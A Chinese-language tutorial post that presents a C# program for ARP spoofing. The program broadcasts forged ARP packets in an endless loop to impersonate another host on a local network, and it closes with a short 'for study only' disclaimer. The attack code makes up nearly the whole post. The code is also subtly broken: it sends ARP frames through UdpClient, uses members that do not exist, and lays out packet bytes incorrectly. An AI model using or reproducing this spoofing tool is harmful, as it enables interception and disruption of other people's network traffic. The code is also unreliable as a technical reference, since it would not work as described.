c#实现arp探测攻击

ARP探测攻击，也被称为ARP欺骗攻击，是一种网络安全攻击方式。实现ARP探测攻击可以使用C#编程语言，下面是一份简单的代码示例：

using System;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Sockets;

namespace ARPAttack
{
    class Program
    {
        static void Main(string[] args)
        {
            // 获取本机IP地址
            string hostName = Dns.GetHostName();
            IPAddress[] addresses = Dns.GetHostAddresses(hostName);
            IPAddress localIP = null;
            foreach (IPAddress address in addresses)
            {
                if (address.AddressFamily == AddressFamily.InterNetwork)
                {
                    localIP = address;
                    break;
                }
            }

            // 获取网关的MAC地址
            PhysicalAddress gatewayMac = null;
            using (Ping ping = new Ping())
            {
                PingReply reply = ping.Send(localIP);
                if (reply.Status == IPStatus.Success)
                {
                    IPAddress gatewayIP = IPAddress.Parse("192.168.1.1"); // 假设网关IP地址为192.168.1.1
                    ArpPacket arpRequest = new ArpPacket(localIP, gatewayIP);
                    byte[] requestBuffer = arpRequest.ToBytes();
                    using (UdpClient udpClient = new UdpClient())
                    {
                        udpClient.Send(requestBuffer, requestBuffer.Length, new IPEndPoint(gatewayIP, 0));
                        IPEndPoint remoteEP = new IPEndPoint(IPAddress.Any, 0);
                        byte[] responseBuffer = udpClient.Receive(ref remoteEP);
                        ArpPacket arpResponse = ArpPacket.FromBytes(responseBuffer);
                        if (arpResponse.Operation == ArpOperation.Response)
                        {
                            gatewayMac = arpResponse.SenderHardwareAddress;
                        }
                    }
                }
            }

            // 发送ARP欺骗包
            while (true)
            {
                ArpPacket arpSpoof = new ArpPacket(localIP, IPAddress.Parse("192.168.1.100"), gatewayMac);
                byte[] spoofBuffer = arpSpoof.ToBytes();
                using (UdpClient udpClient = new UdpClient())
                {
                    udpClient.Send(spoofBuffer, spoofBuffer.Length, new IPEndPoint(IPAddress.Broadcast, 0));
                }
                System.Threading.Thread.Sleep(1000);
            }
        }
    }

    public class ArpPacket
    {
        public const int HardwareAddressLength = 6;
        public const int ProtocolAddressLength = 4;
        public const int PacketLength = 28;

        public PhysicalAddress DestinationHardwareAddress { get; set; }
        public PhysicalAddress SenderHardwareAddress { get; set; }
        public ushort ProtocolType { get; set; }
        public ArpOperation Operation { get; set; }
        public IPAddress SenderProtocolAddress { get; set; }
        public IPAddress TargetProtocolAddress { get; set; }

        public ArpPacket(IPAddress senderProtocolAddress, IPAddress targetProtocolAddress, PhysicalAddress destinationHardwareAddress = null, PhysicalAddress senderHardwareAddress = null)
        {
            this.DestinationHardwareAddress = destinationHardwareAddress ?? PhysicalAddress.Broadcast;
            this.SenderHardwareAddress = senderHardwareAddress ?? GetLocalMACAddress();
            this.ProtocolType = (ushort)EthernetType.Arp;
            this.Operation = ArpOperation.Request;
            this.SenderProtocolAddress = senderProtocolAddress;
            this.TargetProtocolAddress = targetProtocolAddress;
        }

        public byte[] ToBytes()
        {
            byte[] buffer = new byte[PacketLength];
            this.DestinationHardwareAddress.GetAddressBytes().CopyTo(buffer, 0);
            this.SenderHardwareAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength);
            BitConverter.GetBytes(IPAddress.NetworkToHostOrder(this.ProtocolType)).CopyTo(buffer, HardwareAddressLength * 2);
            BitConverter.GetBytes((ushort)this.Operation).CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength);
            this.SenderHardwareAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2);
            this.SenderProtocolAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength);
            this.DestinationHardwareAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength + ProtocolAddressLength);
            this.TargetProtocolAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength + ProtocolAddressLength + HardwareAddressLength);
            return buffer;
        }

        public static ArpPacket FromBytes(byte[] buffer)
        {
            PhysicalAddress destinationHardwareAddress = new PhysicalAddress(buffer, 0, HardwareAddressLength);
            PhysicalAddress senderHardwareAddress = new PhysicalAddress(buffer, HardwareAddressLength, HardwareAddressLength);
            ushort protocolType = (ushort)IPAddress.NetworkToHostOrder(BitConverter.ToInt16(buffer, HardwareAddressLength * 2));
            ArpOperation operation = (ArpOperation)BitConverter.ToUInt16(buffer, HardwareAddressLength * 2 + ProtocolAddressLength);
            PhysicalAddress targetHardwareAddress = new PhysicalAddress(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength + ProtocolAddressLength, HardwareAddressLength);
            IPAddress senderProtocolAddress = new IPAddress(BitConverter.ToUInt32(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2));
            IPAddress targetProtocolAddress = new IPAddress(BitConverter.ToUInt32(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength + ProtocolAddressLength + HardwareAddressLength));
            return new ArpPacket(senderProtocolAddress, targetProtocolAddress, destinationHardwareAddress, senderHardwareAddress)
            {
                ProtocolType = protocolType,
                Operation = operation
            };
        }

        private static PhysicalAddress GetLocalMACAddress()
        {
            NetworkInterface[] nics = NetworkInterface.GetAllNetworkInterfaces();
            PhysicalAddress macAddress = null;
            foreach (NetworkInterface adapter in nics)
            {
                if (adapter.OperationalStatus == OperationalStatus.Up)
                {
                    macAddress = adapter.GetPhysicalAddress();
                    if (macAddress != null && !macAddress.Equals(PhysicalAddress.None))
                    {
                        break;
                    }
                }
            }
            return macAddress;
        }
    }

    public enum ArpOperation : ushort
    {
        Request = 1,
        Response = 2
    }

    public enum EthernetType : ushort
    {
        Arp = 0x0806
    }
}

上面的代码中，我们先获取本机的IP地址和MAC地址，然后发送一个ARP请求包到网关，获取网关的MAC地址。接着，我们每秒钟发送一个ARP欺骗包，将本机的MAC地址伪装成另外一台机器的MAC地址，从而实现ARP欺骗攻击。

需要注意的是，ARP欺骗攻击是一种违法行为，未经授权使用可能会导致法律后果。本代码仅供学习和研究用途，请勿用于非法用途。